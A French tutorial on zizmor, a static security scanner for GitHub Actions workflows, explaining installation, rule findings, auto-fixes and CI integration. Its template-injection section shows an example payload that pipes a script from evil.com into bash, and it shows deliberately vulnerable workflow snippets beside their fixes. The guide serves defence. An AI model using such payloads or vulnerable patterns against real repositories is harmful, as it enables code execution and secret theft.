![]()
zizmor détecte plus de 30 vulnérabilités dans vos workflows GitHub Actions en quelques secondes : injections de code, permissions excessives, actions non épinglées, secrets mal gérés. Ce guide vous montre comment l’installer, scanner vos workflows, comprendre les résultats, corriger automatiquement les problèmes et intégrer zizmor dans votre CI. Prérequis : Python 3.12+ (ou Homebrew/Cargo) et un dépôt contenant des workflows GitHub Actions.
Qu’est-ce que zizmor ?
Section intitulée « Qu’est-ce que zizmor ? »zizmor est un analyseur statique (SAST — Static Application Security Testing) spécialisé dans la sécurité des workflows GitHub Actions. Écrit en Rust, il analyse vos fichiers YAML de workflows et détecte les vulnérabilités connues sans exécuter le moindre code.
Une analogie pour comprendre
Section intitulée « Une analogie pour comprendre »Imaginez un inspecteur du bâtiment qui examine les plans d’une maison avant la construction. Il repère les murs porteurs manquants, les circuits électriques dangereux et les sorties de secours absentes — sans avoir besoin de construire la maison pour la voir s’effondrer. zizmor fait la même chose avec vos workflows : il lit vos fichiers YAML et identifie les failles de sécurité avant qu’un attaquant ne les exploite.
Pourquoi c’est important
Section intitulée « Pourquoi c’est important »Les workflows GitHub Actions sont du code exécuté avec des privilèges élevés : accès aux secrets, permissions d’écriture sur le dépôt, capacité à publier des packages. Une vulnérabilité dans un workflow peut conduire à :
- Vol de secrets (tokens, clés API, credentials)
- Injection de code malveillant dans vos artefacts ou releases
- Compromission de la supply chain en aval
zizmor identifie ces risques automatiquement, là où une revue manuelle des fichiers YAML les manquerait la plupart du temps.
Rapide
Écrit en Rust, zizmor scanne des dizaines de workflows en moins d’une seconde. Aucune configuration préalable n’est nécessaire.
30+ règles d'audit
Template injection, permissions excessives, actions non épinglées, secrets en clair, cache poisoning, impostor commits et bien d’autres.
Auto-fix
zizmor peut corriger automatiquement certaines vulnérabilités comme les injections de template en déplaçant les expressions dans des variables d’environnement.
Intégration CI
Sortie en SARIF pour GitHub Advanced Security, annotations pour les PR, JSON pour vos scripts. S’intègre dans n’importe quel pipeline.
Prérequis
Section intitulée « Prérequis »Avant de commencer, assurez-vous d’avoir :
- Python 3.12+ (pour l’installation via pip/pipx) ou Homebrew ou Cargo (Rust)
- Un dépôt Git contenant des workflows dans
.github/workflows/ - Un terminal sous Linux, macOS ou Windows (WSL recommandé)
Installer zizmor
Section intitulée « Installer zizmor »zizmor est distribué sous forme de binaire Rust. Plusieurs méthodes d’installation sont disponibles selon votre environnement.
La méthode la plus simple. pipx est recommandé car il isole zizmor dans son propre environnement virtuel Python :
# Installation avec pipx (recommandé)pipx install zizmor
# Ou avec pip classiquepip install zizmorSur macOS ou Linux avec Homebrew :
brew install zizmorSi vous avez l’écosystème Rust installé :
cargo install zizmorSans rien installer sur votre machine :
docker run --rm -v $(pwd):/workspace ghcr.io/zizmorcore/zizmor:latest \ /workspace/.github/workflows/Vérification : Confirmez que zizmor est bien installé et notez la version :
zizmor --versionRésultat attendu :
zizmor 1.22.0Votre premier scan
Section intitulée « Votre premier scan »La commande la plus simple scanne tous les workflows d’un dépôt :
cd mon-projetzizmor .github/workflows/Vous pouvez aussi scanner un fichier spécifique :
zizmor .github/workflows/ci.ymlComprendre la sortie
Section intitulée « Comprendre la sortie »Voici un exemple réel de sortie zizmor sur un workflow vulnérable :
error[template-injection]: code injection via template expansion --> .github/workflows/greet.yml:12:27 |11 | run: | | --- this run block12 | echo "Hello ${{ github.event.issue.title }}" | ^^^^^^^^^^^^^^^^^^^^^^^^ may expand into attacker-controllable code | = note: audit confidence → High = note: this finding has an auto-fixChaque finding (résultat) contient :
| Élément | Signification |
|---|---|
| Sévérité | error (haute), warning (moyenne), info (basse) |
| Identifiant | Le nom de la règle violée, ici template-injection |
| Description | Ce que zizmor a détecté |
| Localisation | Fichier, ligne et colonne exactes |
| Confiance | High, Medium ou Low — le degré de certitude |
| Auto-fix | Si zizmor peut corriger automatiquement ce problème |
Codes de sortie
Section intitulée « Codes de sortie »Le code de sortie du programme indique le niveau de sévérité le plus élevé trouvé :
| Code | Signification |
|---|---|
0 | Aucun finding — vos workflows sont propres |
1 | Erreur interne de zizmor |
10 | Des findings de sévérité unknown détectés |
11 | Des findings de sévérité informational détectés |
12 | Des findings de sévérité low détectés |
13 | Des findings de sévérité medium détectés |
14 | Des findings de sévérité high détectés |
Cela permet d’utiliser zizmor dans un script CI : un code de sortie ≥ 13 indique des problèmes sérieux qui méritent correction.
Les principales vulnérabilités détectées
Section intitulée « Les principales vulnérabilités détectées »zizmor embarque plus de 30 règles d’audit. Voici les plus critiques, illustrées avec des exemples concrets.
Template injection
Section intitulée « Template injection »Sévérité : haute — C’est la vulnérabilité la plus dangereuse dans GitHub Actions.
Quand vous écrivez ${{ github.event.issue.title }} directement dans un
bloc run:, le contenu du titre de l’issue est injecté tel quel dans le
script shell. Un attaquant peut créer une issue avec un titre comme
"; curl http://evil.com/steal.sh | bash # et exécuter du code arbitraire
sur votre runner.
steps: - name: Greet the issue author run: | # ❌ DANGEREUX : injection possible via le titre echo "Hello ${{ github.event.issue.title }}"Correction : Passez les valeurs contrôlables par l’utilisateur via des variables d’environnement :
steps: - name: Greet the issue author run: | # ✅ SÉCURISÉ : la valeur passe par une variable d'environnement echo "Hello ${ISSUE_TITLE}" env: ISSUE_TITLE: ${{ github.event.issue.title }}Les expressions dangereuses les plus courantes :
github.event.issue.titleetgithub.event.issue.bodygithub.event.pull_request.titleetgithub.event.pull_request.bodygithub.event.comment.bodygithub.event.review.bodygithub.event.head_commit.message
Actions non épinglées (unpinned-uses)
Section intitulée « Actions non épinglées (unpinned-uses) »Sévérité : haute — Utiliser un tag comme @v4 au lieu d’un SHA expose
votre workflow aux attaques supply chain.
steps: # ❌ Tag mobile — peut être déplacé vers du code malveillant - uses: actions/checkout@v4 # ✅ SHA immuable — pointe toujours vers le même code - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2Permissions excessives (excessive-permissions)
Section intitulée « Permissions excessives (excessive-permissions) »Sévérité : moyenne — Sans bloc permissions: explicite, un workflow
hérite des permissions par défaut du dépôt, souvent en écriture sur tout.
# ❌ Pas de permissions définies → hérite des defaults (souvent write-all)name: CIon: pushjobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683# ✅ Permissions minimales explicitesname: CIon: pushpermissions: {} # Aucune permission par défautjobs: build: runs-on: ubuntu-latest permissions: contents: read # Seulement ce qui est nécessaire steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683Triggers dangereux (dangerous-triggers)
Section intitulée « Triggers dangereux (dangerous-triggers) »Sévérité : haute — Le trigger pull_request_target exécute le workflow
dans le contexte de la branche cible (avec ses secrets), mais peut
accéder au code de la branche source (potentiellement malveillante).
# ❌ DANGEREUX : pull_request_target avec checkout du code du forkon: pull_request_targetjobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 with: ref: ${{ github.event.pull_request.head.sha }} - run: npm install && npm test # Exécute le code du fork avec les secrets !Persistance des credentials (artipacked)
Section intitulée « Persistance des credentials (artipacked) »Sévérité : moyenne — Par défaut, actions/checkout persiste le token
GITHUB_TOKEN dans la configuration Git locale. Si un artefact est uploadé
depuis le même job, ce token peut fuiter.
steps: # ❌ Token persisté par défaut - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # ✅ Token non persisté - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 with: persist-credentials: falseSecrets surprovisionnés (overprovisioned-secrets)
Section intitulée « Secrets surprovisionnés (overprovisioned-secrets) »Sévérité : haute — Injecter la totalité du contexte secrets dans une
variable d’environnement expose tous les secrets du dépôt au runner, même
ceux qui ne sont pas nécessaires.
steps: - run: ./deploy.sh env: # ❌ Expose TOUS les secrets dans une seule variable ALL_SECRETS: ${{ toJSON(secrets) }} # ✅ Exposer uniquement le secret nécessaire DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}Credentials en dur (hardcoded-container-credentials)
Section intitulée « Credentials en dur (hardcoded-container-credentials) »Sévérité : haute — Les mots de passe écrits en clair dans le workflow sont visibles par quiconque ayant accès au dépôt.
container: image: myregistry.example.com/app credentials: username: deploy-user # ❌ Mot de passe en clair dans le YAML password: s3cr3t-p4ss # ✅ Utiliser un secret GitHub password: ${{ secrets.REGISTRY_PASSWORD }}Héritage de secrets (secrets-inherit)
Section intitulée « Héritage de secrets (secrets-inherit) »Sévérité : moyenne — secrets: inherit transmet tous les secrets du
workflow parent à un workflow réutilisable, même ceux dont il n’a pas besoin.
jobs: deploy: uses: ./.github/workflows/reusable-deploy.yml # ❌ Transmet TOUS les secrets du parent secrets: inherit deploy-safe: uses: ./.github/workflows/reusable-deploy.yml # ✅ Transmet uniquement les secrets nécessaires secrets: DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}Condition de bot usurpable (bot-conditions)
Section intitulée « Condition de bot usurpable (bot-conditions) »Sévérité : haute — Vérifier github.actor == 'dependabot[bot]' pour
accorder des privilèges est usurpable. Un attaquant peut créer un compte
GitHub nommé de manière similaire ou manipuler le contexte.
# ❌ Condition usurpableif: github.actor == 'dependabot[bot]'# ✅ Utiliser le trigger dédiéon: pull_request: types: [opened]Les personas : adapter le niveau d’audit
Section intitulée « Les personas : adapter le niveau d’audit »zizmor propose trois personas (niveaux de rigueur) qui contrôlent quels findings sont affichés :
| Persona | Description | Usage |
|---|---|---|
regular | Findings à haute confiance, faux positifs minimaux | Usage quotidien (défaut) |
pedantic | Inclut les odeurs de code et les recommandations | Revue approfondie |
auditor | Tout est affiché, y compris les faux positifs probables | Audit de sécurité formel |
# Scan standard (persona regular, par défaut)zizmor .github/workflows/
# Scan approfondi — plus de findings, plus de bruitzizmor --persona=pedantic .github/workflows/
# Audit complet — tout est remontézizmor --persona=auditor .github/workflows/Exemple comparatif sur le même dépôt :
| Persona | Findings affichés |
|---|---|
regular | 37 (30 supprimés) |
pedantic | 67 (aucun supprimé) |
auditor | 67+ (avec faux positifs) |
Corriger automatiquement avec —fix
Section intitulée « Corriger automatiquement avec —fix »zizmor peut corriger automatiquement certaines vulnérabilités. Deux modes de correction existent :
| Mode | Commande | Comportement |
|---|---|---|
| Safe only | --fix | Corrections sûres uniquement — le comportement du workflow ne change pas |
| All | --fix=all | Corrections sûres et non sûres — le comportement peut changer |
Exemple concret : correction d’une injection
Section intitulée « Exemple concret : correction d’une injection »Fichier avant correction :
steps: - name: Greet run: | echo "Hello ${{ github.event.issue.title }}" echo "Opened by ${{ github.event.issue.user.login }}"Lancement de l’auto-fix :
zizmor --fix=all .github/workflows/greet.ymlFichier après correction par zizmor :
steps: - name: Greet run: | echo "Hello ${GITHUB_EVENT_ISSUE_TITLE}" echo "Opened by ${GITHUB_EVENT_ISSUE_USER_LOGIN}" env: GITHUB_EVENT_ISSUE_TITLE: ${{ github.event.issue.title }} GITHUB_EVENT_ISSUE_USER_LOGIN: ${{ github.event.issue.user.login }}zizmor a déplacé les expressions dangereuses dans des variables
d’environnement. Le script shell utilise maintenant les variables d’environnement
classiques (${VAR}) au lieu des expressions GitHub (${{ }}), ce qui empêche
l’injection de code.
Filtrer les résultats
Section intitulée « Filtrer les résultats »Quand vous avez beaucoup de findings, vous pouvez filtrer par sévérité et confiance pour vous concentrer sur les plus critiques :
# Uniquement les findings de sévérité haute avec confiance hautezizmor --min-severity=high --min-confidence=high .github/workflows/Exemple sur un dépôt avec 67 findings :
| Filtrage | Findings affichés |
|---|---|
| Sans filtre | 67 (37 affichés, 30 supprimés) |
--min-severity=high --min-confidence=high | 13 |
--min-severity=medium | 37 |
Configurer zizmor avec zizmor.yml
Section intitulée « Configurer zizmor avec zizmor.yml »Pour un contrôle fin et reproductible, créez un fichier zizmor.yml à la racine de votre dépôt. Ce fichier permet d’ignorer des findings spécifiques ou de configurer certains audits.
Ignorer une règle pour certains fichiers
Section intitulée « Ignorer une règle pour certains fichiers »rules: unpinned-uses: ignore: # Ce workflow legacy sera migré plus tard - vulnerable-permissions.ymlIgnorer une occurrence précise avec un commentaire inline
Section intitulée « Ignorer une occurrence précise avec un commentaire inline »Vous pouvez aussi ignorer un finding directement dans le workflow en ajoutant un commentaire YAML :
steps: # zizmor: ignore[unpinned-uses] - uses: actions/checkout@v4Combiner config et filtrage
Section intitulée « Combiner config et filtrage »rules: artipacked: ignore: # Pas d'upload d'artefacts dans ce workflow, risque faible - ci.yml secrets-inherit: ignore: # Les workflows réutilisables internes sont de confiance - deploy-pipeline.ymlAvec cette configuration en place, zizmor affiche un compteur d’ignorés :
5 findings (1 ignored, 3 suppressed, 1 fixable): 0 informational, 0 low, 1 medium, 0 highMode en ligne et mode hors ligne
Section intitulée « Mode en ligne et mode hors ligne »zizmor fonctionne par défaut en mode hors ligne : il analyse uniquement les fichiers YAML présents localement. Mais il dispose aussi d’un mode en ligne qui apporte des audits supplémentaires.
Mode hors ligne (par défaut)
Section intitulée « Mode hors ligne (par défaut) »# Analyse locale — aucune requête réseauzizmor --offline .github/workflows/Ce mode détecte la majorité des vulnérabilités. Utilisez-le en CI pour éviter les dépendances réseau.
Mode en ligne
Section intitulée « Mode en ligne »En fournissant un token GitHub, zizmor peut effectuer des vérifications supplémentaires comme les impostor commits (commits qui semblent venir d’un tag mais ne sont pas dans l’arbre du dépôt) :
# Activer le mode en ligne via tokenexport GH_TOKEN=$(gh auth token)zizmor .github/workflows/Il est aussi possible de scanner un dépôt distant directement :
# Scanner un dépôt GitHub sans le clonerexport GH_TOKEN=$(gh auth token)zizmor my-org/my-repoIntégrer zizmor dans votre CI
Section intitulée « Intégrer zizmor dans votre CI »GitHub Actions avec upload SARIF
Section intitulée « GitHub Actions avec upload SARIF »L’intégration la plus puissante utilise le format SARIF (Static Analysis Results Interchange Format) pour afficher les findings directement dans l’onglet Security de votre dépôt GitHub :
name: Audit sécurité des workflowson: push: branches: [main] paths: - '.github/workflows/**' pull_request: paths: - '.github/workflows/**'
permissions: {}
jobs: zizmor: name: Scan zizmor runs-on: ubuntu-latest permissions: security-events: write # Pour uploader le SARIF contents: read actions: read steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 with: persist-credentials: false
- name: Installer zizmor run: pipx install zizmor
- name: Scanner les workflows run: zizmor --format=sarif --offline .github/workflows/ > results.sarif continue-on-error: true
- name: Uploader les résultats SARIF uses: github/codeql-action/upload-sarif@ea9e4e37992a54ee68a9571ad585dd722115571f # v3.28.14 with: sarif_file: results.sarif category: zizmorScan simple avec échec du pipeline
Section intitulée « Scan simple avec échec du pipeline »Si vous n’avez pas besoin du SARIF, une intégration minimaliste suffit :
name: Sécurité workflowson: pull_request: paths: - '.github/workflows/**'
permissions: {}
jobs: zizmor: runs-on: ubuntu-latest permissions: contents: read steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 with: persist-credentials: false
- run: pipx install zizmor
- name: Audit des workflows run: zizmor --offline --min-severity=medium .github/workflows/Le pipeline échouera automatiquement (code de sortie ≥ 13) si des findings de sévérité moyenne ou haute sont détectés.
Hook pre-commit
Section intitulée « Hook pre-commit »Pour détecter les problèmes avant même le push, ajoutez zizmor comme hook pre-commit :
repos: - repo: https://github.com/zizmorcore/zizmor-pre-commit rev: v1.22.0 hooks: - id: zizmor# Installer et activerpip install pre-commitpre-commit installChaque git commit modifiant un fichier dans .github/workflows/ déclenchera
automatiquement un scan zizmor.
Formats de sortie
Section intitulée « Formats de sortie »zizmor supporte quatre formats de sortie, chacun adapté à un usage différent :
| Format | Commande | Usage |
|---|---|---|
plain | --format=plain | Lecture humaine dans le terminal (défaut) |
json | --format=json | Parsing automatisé par des scripts |
sarif | --format=sarif | Upload vers GitHub Advanced Security |
github | --format=github | Annotations dans les PR GitHub (max 10) |
Exemple de sortie JSON pour un traitement automatisé :
# Compter les findings par sévéritézizmor --format=json --offline .github/workflows/ 2>/dev/null \ | jq 'group_by(.determinations.severity) | map({severity: .[0].determinations.severity, count: length})'Dépannage
Section intitulée « Dépannage »| Symptôme | Cause probable | Solution |
|---|---|---|
No inputs collected | Aucun fichier YAML trouvé | Vérifier le chemin : zizmor .github/workflows/ |
Beaucoup de unpinned-uses | Actions référencées par tag | Utiliser pin-github-action pour épingler par SHA |
Findings artipacked partout | persist-credentials non désactivé | Ajouter persist-credentials: false au checkout |
impostor-commit non détecté | Mode hors ligne | Exporter GH_TOKEN pour activer le mode en ligne |
| Faux positif sur un finding | Règle trop stricte pour votre contexte | Ignorer via zizmor.yml ou commentaire inline |
error: invalid configuration | Syntaxe du zizmor.yml incorrecte | Vérifier l’indentation YAML et les noms de règles |
| Code de sortie 14 en CI | Findings de sévérité haute détectés | Corriger les findings ou filtrer avec --min-severity |
À retenir
Section intitulée « À retenir »-
zizmor est un analyseur statique dédié à la sécurité des workflows GitHub Actions — il détecte plus de 30 types de vulnérabilités sans exécuter votre code.
-
Les template injections (
${{ }}dans les blocsrun:) sont la vulnérabilité la plus dangereuse — passez toujours par des variables d’environnement. -
Trois personas contrôlent le niveau de rigueur :
regularpour le quotidien,pedanticpour les revues,auditorpour les audits formels. -
—fix=all corrige automatiquement certaines vulnérabilités comme les injections — vérifiez toujours le diff avant de committer.
-
Le format SARIF permet d’afficher les findings directement dans l’onglet Security de GitHub — idéal pour le suivi dans le temps.
-
zizmor.yml et les commentaires
# zizmor: ignore[rule]permettent de gérer les faux positifs sans désactiver globalement une règle. -
Intégrez zizmor en CI sur les PR qui modifient
.github/workflows/pour capturer les vulnérabilités avant qu’elles n’atteignentmain.